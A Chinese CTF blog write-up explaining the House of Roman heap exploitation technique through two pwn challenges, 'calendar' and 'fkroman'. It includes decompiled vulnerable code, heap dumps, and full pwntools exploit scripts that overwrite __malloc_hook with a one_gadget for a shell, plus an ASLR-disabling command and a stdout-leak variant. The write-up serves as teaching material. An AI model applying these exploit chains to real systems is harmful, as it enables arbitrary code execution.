kir[A]'s 小黑屋

House-Of-Roman学习笔记

字数统计: 3k阅读时长: 14 min
2019/10/19 Share

House-Of-Roman学习笔记

本文首发于:https://xz.aliyun.com/t/6549

最近整理护网杯的题目(今年护网杯凉了),发现去年还留下一题pwn没有完成,题目提示是house of roman,最近一次比赛也出现了一道叫fkroman的题目,估计也是涉及这个知识点,趁此机会学习一下house of roman,把去年留下的坑填上。

原理简述

House of Roman这个攻击方法由romanking98在2018年4月提出(作者GitHub:https://github.com/romanking98/House-Of-Roman ),主要用于程序无打印功能,在不泄露libc地址的前提下,通过低位地址写+爆破的方法来bypass ALSR。

忽略堆风水具体操作细节,简单总结House of Roman攻击原理就是:

  • 通过低位地址写修改fastbin的fd,修改到malloc_hook-0x23
  • 通过unsortedbin attack,将main_arean地址写入malloc_hook
  • 使用fastbin attack,通过低位地址写修改malloc_hook中的地址为one gadget

至于具体如何进行fastbin attackunsortedbin attack,要根据题目进行具体分析,下面通过例题进行详细分析。

实战例题

进行本地调试时,可以先把ASLR关掉

1
echo 0 > /proc/sys/kernel/randomize_va_space

完成exp后爆破使用脚本:

1
2
#!/bin/bash
for i in `seq 1 9999`; do python exp.py; done;

护网杯2018 calendar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int v3; // eax
char s; // [rsp+10h] [rbp-50h]
char v5; // [rsp+4Fh] [rbp-11h]
unsigned __int64 v6; // [rsp+58h] [rbp-8h]

v6 = __readfsqword(0x28u);
init_0();
printf("input calendar name> ", a2);
memset(&s, 0, 0x40uLL);
get_str((__int64)&s, 64);
v5 = 0;
printf("welcome to use %s\n", &s);
while ( 1 )
{
while ( 1 )
{
v3 = menu();
if ( v3 != 2 )
break;
edit();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
remove();
}
else if ( v3 == 4 )
{
exit(0);
}
}
else if ( v3 == 1 )
{
add();
}
}
}

程序菜单:

1
2
3
4
5
---------calendar management---------
1. add a schedule
2. edit a schedule
3. remove a schedule
4. exit

程序只有add,edit,remove 三个功能,跟常见的题目相比,明显少了一个show的功能,因此正常情况下缺少泄露地址的手段(当然有其他手段,暂且不提)。

漏洞点一:程序的读取输入函数存在off by one。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall sub_B5F(__int64 a1, signed int a2)
{
char buf; // [rsp+13h] [rbp-Dh]
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; (signed int)i <= a2; ++i )
{
if ( (signed int)read(0, &buf, 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( buf == 10 )
{
*(_BYTE *)((signed int)i + a1) = 0;
return i;
}
*(_BYTE *)(a1 + (signed int)i) = buf;
}
return i;
}

漏洞二:remove没有清空指针,存在double free。

1
2
3
4
5
6
7
8
void remove()
{
int v0; // [rsp+Ch] [rbp-4h]

v0 = day();
if ( v0 != -1 )
free((void *)qword_202060[v0]);
}

程序add的size最大只是0x68,因此不能直接申请到unsorted bins的大小,需要通过off by one修改chunk的size进行overlapping。

1
2
3
4
5
6
add(0,0x18) # 0
add(1,0x68) # 1
add(2,0x68) # 2
add(3,0x68) # 3
edit(0,0x18,'a'*0x18+'\xe1')
remove(1)

修改前

1
2
3
4
5
6
pwndbg> x/32gx 0x556cfeda2000
0x556cfeda2000: 0x0000000000000000 0x0000000000000021
0x556cfeda2010: 0x0000000000000000 0x0000000000000000
0x556cfeda2020: 0x0000000000000000 0x0000000000000071
0x556cfeda2030: 0x0000000000000000 0x0000000000000000
0x556cfeda2040: 0x0000000000000000 0x0000000000000000

修改后,可以看到1号chunk的size变成了0xe1

1
2
3
4
5
6
pwndbg> x/32gx 0x556cfeda2000
0x556cfeda2000: 0x0000000000000000 0x0000000000000021
0x556cfeda2010: 0x6161616161616161 0x6161616161616161
0x556cfeda2020: 0x6161616161616161 0x00000000000000e1
0x556cfeda2030: 0x0000000000000000 0x0000000000000000
0x556cfeda2040: 0x0000000000000000 0x0000000000000000

此时free掉1号chunk,会把2号chunk吞掉,组成一个0xe0大小的unsortedbin,这是本题得到libc地址的基础。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x556cfeda2020 —▸ 0x7fe8036d6b78 (main_arena+88) —▸ 0x556cfeda2020 ◂— 0x7fe8036d6b78
smallbins
empty
largebins
empty

攻击第一步:通过低位地址写修改fastbin的fd到malloc_hook-0x23,为什么是这里?因为这里有一个0x7f,用于后续的fastbin attack。

1
2
3
4
5
pwndbg> x/8gx 0x7fe8036d6b10-0x23
0x7fe8036d6aed <_IO_wide_data_0+301>: 0xe8036d5260000000 0x000000000000007f
0x7fe8036d6afd: 0xe803397e20000000 0xe803397a0000007f
0x7fe8036d6b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7fe8036d6b1d: 0x0100000000000000 0x0000000000000000

现在的任务是让fastbins链中写入一个libc的地址,我们可以在上面的代码做个小修改,在进行off by one之前,先把1号chunk释放掉,让它进入fastbins,再进行overlapping。

1
2
3
4
5
6
7
add(0,0x18) # 0
add(1,0x68) # 1
add(2,0x68) # 2
add(3,0x68) # 3
remove(1)
edit(0,0x18,'a'*0x18+'\xe1')
remove(1)

这样可以让fastbin和unsortedbin重叠

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55db47562020 —▸ 0x7f6faea28b78 (main_arena+88) —▸ 0x55db47562020 ◂— 0x7f6faea28b78
0x80: 0x0
unsortedbin
all: 0x55db47562020 —▸ 0x7f6faea28b78 (main_arena+88) —▸ 0x55db47562020 ◂— 0x7f6faea28b78
smallbins
empty
largebins
empty

然后申请一个非0x70大小的chunk(因为申请0x70大小会优先使用fastbin),此时会使用unsortedbin进行分配,对此chunk进行edit就可以对fd进行低位地址写。

1
2
3
4
5
6
add(3,0x18) # 3
edit(3,0x1,p64(libc.sym['__malloc_hook']-0x23)[:2]) # p16(2aed)

edit(0,0x18,'a'*0x18+'\x71') # fix chunk size
add(1,0x68)
add(0,0x68) # __malloc_hook-0x13

完成后可以看到fastbin的fd指向_IO_wide_data_0+301,也就是__malloc_hook-0x23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55db47562020 —▸ 0x7f6faea28aed (_IO_wide_data_0+301) ◂— 0x6fae6e9e20000000
0x80: 0x0
unsortedbin
all: 0x55db47562040 —▸ 0x7f6faea28b78 (main_arena+88) —▸ 0x55db47562040 ◂— 0x7f6faea28b78
smallbins
empty
largebins
empty

再次使用off by one重新修改0x55db47562020的size位为0x71,恢复fastbin的正常结构。进行两次分配后,可以申请到__malloc_hook-0x13的位置,查看程序存储chunk地址的list可以看到0号chunk指向了__malloc_hook-0x13

1
2
3
4
5
pwndbg> x/8gx 0x55db46403000+0x202060
0x55db46605060: 0x00007f6faea28afd 0x000055db47562030
0x55db46605070: 0x000055db475620a0 0x000055db47562030
0x55db46605080: 0x0000000000000068 0x0000000000000068
0x55db46605090: 0x0000000000000068 0x0000000000000018

攻击第二步:通过unsortedbin attack,将main_arean地址写入malloc_hook

由于本题限制了最大只能申请0x70大小的内存,因此在进行unsortedbin attack前,首先需要修复fastbin,不然后续会发生报错。修复方法很简单,free掉一个0x70大小的chunk,然后使用UAF将fd修改为0,然后申请一个0x70大小的chunk,清空fastbin。

1
2
3
remove(1)
edit(1,7,p64(0)) # fix fastbins
add(3,0x68)

首先申请一个0x50大小的,使unsortedbin与2号chunk重叠,然后直接对2号chunk进行edit,就可以进行低地址写,修改unsortedbin的bk为__malloc_hook-0x10。然后申请一个0x70大小的chunk,触发unsortedbin attack,可以看到__malloc_hook的值已被修改为main_arena+88

1
2
3
add(3,0x48)
edit(2,0x8+1,p64(0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
add(3,0x68)
1
2
pwndbg> p __malloc_hook
$2 = (void *(*)(size_t, const void *)) 0x7f6faea28b78 <main_arena+88>

最后一步:使用fastbin attack,通过低位地址写修改malloc_hook中的地址为one gadget

至此,一切攻击都准备就绪了。第一步完成时,3号chunk已经指向了__malloc_hook-0x13,这里直接对3号chunk进行edit,修改__malloc_hook的低3位地址为one gadget。然后使用double free触发调用__malloc_hook即可getshell。

1
2
3
4
5
one_gadget = libc.address + 0xf02a4
edit(0,0x13+2,'a'*0x13+p64(one_gadget)[:3])

remove(3)
remove(3)
1
2
pwndbg> p __malloc_hook
$3 = (void *(*)(size_t, const void *)) 0x7f6fae7542a4 <exec_comm+1140>

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
target = 'calendar'
elf = ELF('./'+target)
context.binary = './'+target
p = process('./'+target)
libc = elf.libc

def add(idx,size):
p.sendlineafter('choice> ','1')
p.sendlineafter('choice> ',str(idx+1))
p.sendlineafter('size> ',str(size))

def edit(idx,size,content):
p.sendlineafter('choice> ','2')
p.sendlineafter('choice> ',str(idx+1))
p.sendlineafter('size> ',str(size))
p.sendafter('info> ',content)

def remove(idx):
p.sendlineafter('choice> ','3')
p.sendlineafter('choice> ',str(idx+1))

libc.address = 0x233000

p.sendlineafter('name> ','kira')
add(0,0x18) # 0
add(1,0x68) # 1
add(2,0x68) # 2
add(3,0x68) # 3
remove(1)
edit(0,0x18,'a'*0x18+'\xe1')
remove(1)

add(3,0x18) # 3
edit(3,0x1,p64(libc.sym['__malloc_hook']-0x23)[:2])

edit(0,0x18,'a'*0x18+'\x71') # fix chunk size
add(1,0x68)
add(0,0x68) # __malloc_hook-0x13

remove(1)
edit(1,7,p64(0)) # fix fastbins
add(3,0x68)

add(3,0x48)
edit(2,0x8+1,p64(0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
add(3,0x68)

#one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc.address + 0xf02a4
edit(0,0x13+2,'a'*0x13+p64(one_gadget)[:3])

remove(3)
remove(3)

p.interactive()

image.png

云安全共测大赛 fkroman

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-2Ch]
int v5; // [rsp+8h] [rbp-28h]
unsigned int v6; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]

v8 = __readfsqword(0x28u);
init_0();
for ( i = 0; i <= 4095; ++i )
{
menu();
memset(&s, 0, 0x10uLL);
get_str((__int64)&s, 15);
v5 = atoi(&s);
if ( v5 == 5 )
break;
printf("Index: ", 15LL);
get_str((__int64)&s, 15);
v6 = atoi(&s);
if ( v5 == 2 ) // show
{
puts("No way");
continue;
}
if ( v5 > 2 )
{
if ( v5 == 3 )
{
remove(v6);
continue;
}
if ( v5 == 4 )
{
edit(v6);
continue;
}
}
else if ( v5 == 1 )
{
add(v6);
continue;
}
puts("Invalid option!\n");
}
return 0LL;
}

程序菜单:

1
2
3
4
5
1.alloc
2.show
3.free
4.edit
5.exit

虽然菜单里面有show,然而是用不了的。跟上一题类似,有alloc,free,edit的功能,没有打印信息的函数。

漏洞一:free之后没有清空指针,存在double free。

1
2
3
4
5
6
7
8
9
10
11
int __fastcall remove(unsigned int a1)
{
int result; // eax

if ( a1 <= 0xFF )
{
free((void *)qword_4060[a1]);
result = puts("Done!\n");
}
return result;
}

漏洞二:edit的时候,输入长度由用户输入决定,直接就是一个堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 __fastcall edit(unsigned int a1)
{
int v1; // ST1C_4
char nptr; // [rsp+20h] [rbp-20h]
unsigned __int64 v4; // [rsp+38h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( a1 <= 0xFF && qword_4060[a1] )
{
printf("Size: ");
get_str((__int64)&nptr, 16);
v1 = atoi(&nptr);
printf("Content: ", 16LL);
get_str(qword_4060[a1], v1);
puts("Done!\n");
}
return __readfsqword(0x28u) ^ v4;
}

另外本题alloc时大小可控,没有限制,相比上一题难度低不少。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 __fastcall add(unsigned int a1)
{
size_t size; // [rsp+1Ch] [rbp-24h]
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( a1 <= 0xFF )
{
printf("Size: ");
get_str((__int64)&size + 4, 16);
LODWORD(size) = atoi((const char *)&size + 4);
qword_4060[a1] = malloc((unsigned int)size);
if ( !qword_4060[a1] )
exit(0);
puts("Done!\n");
}
return __readfsqword(0x28u) ^ v3;
}

由于本题的漏洞时堆溢出,因此有部分攻击过程会比上题简单一点。第一步同样是通过修改chunk的size进行overlapping,制造重叠的chunk。唯一不同的地方是,进行修改的fastbin的fd和修复fastbin size为0x71的步骤,可以通过一次edit完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
alloc(0,0x10)
alloc(1,0x60)
alloc(2,0x60)
alloc(3,0x60)

free(1)
edit(0,0x20,flat(0,0,0,0xe1))
free(1)

edit(0,0x22,flat(0,0,0,0x71)+p64(libc.sym['__malloc_hook']-0x23)[:2])

alloc(4,0x60)
alloc(5,0x60) # __malloc_hook

这题也没有限制malloc大小,可以直接申请大于0x70大小的chunk,因此修复fastbin链的步骤也可以跳过。上一个步骤是直接使用堆溢出来修改fd,没有申请chunk,制造重叠chunk进行edit,此时unsortdbin的位置没有变动。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0xab7cebee20000000
0x80: 0x0
unsortedbin
all: 0x56160694b020 —▸ 0x7fab7d1fdaed (_IO_wide_data_0+301) ◂— 0xab7cebee20000000
smallbins
empty
largebins
empty

继续对0号chunk进行堆溢出就可以修改unsortedbin的BK,注意需要把chunk size修复为0xe1。这里我没有使用double free触发报错,直接调用malloc就成功getshell。

1
2
3
4
5
edit(0,0x22+8,flat(0,0,0,0xe1,0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
alloc(6,0xd0) # unsorted bins
one_gadget = libc.address + 0xf1147
edit(5,0x16,'a'*0x13+p64(one_gadget)[:3])#5cf147 ba1147
alloc(8,0x60)

完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def pwn():
def alloc(idx,size):
p.sendlineafter('choice: ','1')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))

def free(idx):
p.sendlineafter('choice: ','3')
p.sendlineafter('Index: ',str(idx))

def edit(idx,size,content):
p.sendlineafter('choice: ','4')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))
p.sendafter('Content: ',content)

# house of roman
libc.address = 0x233000
alloc(0,0x10)
alloc(1,0x60)
alloc(2,0x60)
alloc(3,0x60)

free(1)
edit(0,0x20,flat(0,0,0,0xe1))
free(1)
# fastbin attack
edit(0,0x22,flat(0,0,0,0x71)+p64(libc.sym['__malloc_hook']-0x23)[:2])

alloc(4,0x60)
alloc(5,0x60) # __malloc_hook
# unsortedbin attack
edit(0,0x22+8,flat(0,0,0,0xe1,0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
alloc(6,0xd0) # unsorted bins
#one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc.address + 0xf1147
edit(5,0x16,'a'*0x13+p64(one_gadget)[:3])#5cf147 ba1147
alloc(8,0x60)
p.interactive()

这题比护网杯的简单,不过核心的思路仍然是fastbin attack和unsortedbin attack。

更多思考

重新打开ASLR进行测试exp时,脸黑的兄弟会发现跑了很久很久都不成功,因为House-Of-Roman成功率实在有点感人,虽然大幅度降低了爆破的范围,仍然需要爆破12bit,也就是1/4096的成功率。今年各大比赛见过不少没有打印功能的题目,却鲜有人提及House-Of-Roman,为何?

原因很简单,因为有更好更稳定的攻击手段,就是修改IO_FILE结构体进行地址泄漏。以第二题fkroman为例,在第一步进行fastbin attack时,将fd修改至stdout附近,然后修改stdout结构体,即可泄漏libc地址,后面修改__malloc_hook就无需进行低地址写爆破,将成功率提高到1/16,非洲人福音。

_IO_2_1_stdout_泄露地址的方法看其他大佬的文章,这里不展开说了,可以参考:https://xz.aliyun.com/t/5057

fkroman的exp可修改为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def pwn():
def alloc(idx,size):
p.sendlineafter('choice: ','1')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))

def free(idx):
p.sendlineafter('choice: ','3')
p.sendlineafter('Index: ',str(idx))

def edit(idx,size,content):
p.sendlineafter('choice: ','4')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))
p.sendafter('Content: ',content)

global p
alloc(0,0x10)
alloc(1,0x60)
alloc(2,0x60)
alloc(3,0x60)

free(1)
edit(0,0x20,flat(0,0,0,0xe1))
free(1)
edit(0,0x22,flat(0,0,0,0x71)+p16(0x65dd))

alloc(4,0x60)
alloc(5,0x60)
edit(5,0x54,'a'*0x33+p64(0xfbad2887|0x1000)+p64(0)*3+'\x00')
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stderr_'] - 192
success(hex(libc.address))

free(2)
edit(2,0x8,p64(libc.sym['__malloc_hook']-0x23))
alloc(6,0x60)
alloc(7,0x60)
edit(7,0x1b,'a'*0x13+p64(libc.address+0xf1147))
alloc(8,0x60)
p.interactive()

用这个exp的成功率大大提升,各位非洲人可以试试。

image.png

总结

House-Of-Roman的攻击思路很值得学习,不过改修改IO_FILE结构体的方法成功率更高,本地测试基本秒出,正常情况下还是优先考虑用此方法。

参考

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_roman-zh/

https://github.com/romanking98/House-Of-Roman

CATALOG
  1. 1. House-Of-Roman学习笔记
    1. 1.1. 原理简述
    2. 1.2. 实战例题
      1. 1.2.1. 护网杯2018 calendar
      2. 1.2.2. 云安全共测大赛 fkroman
    3. 1.3. 更多思考
    4. 1.4. 总结
    5. 1.5. 参考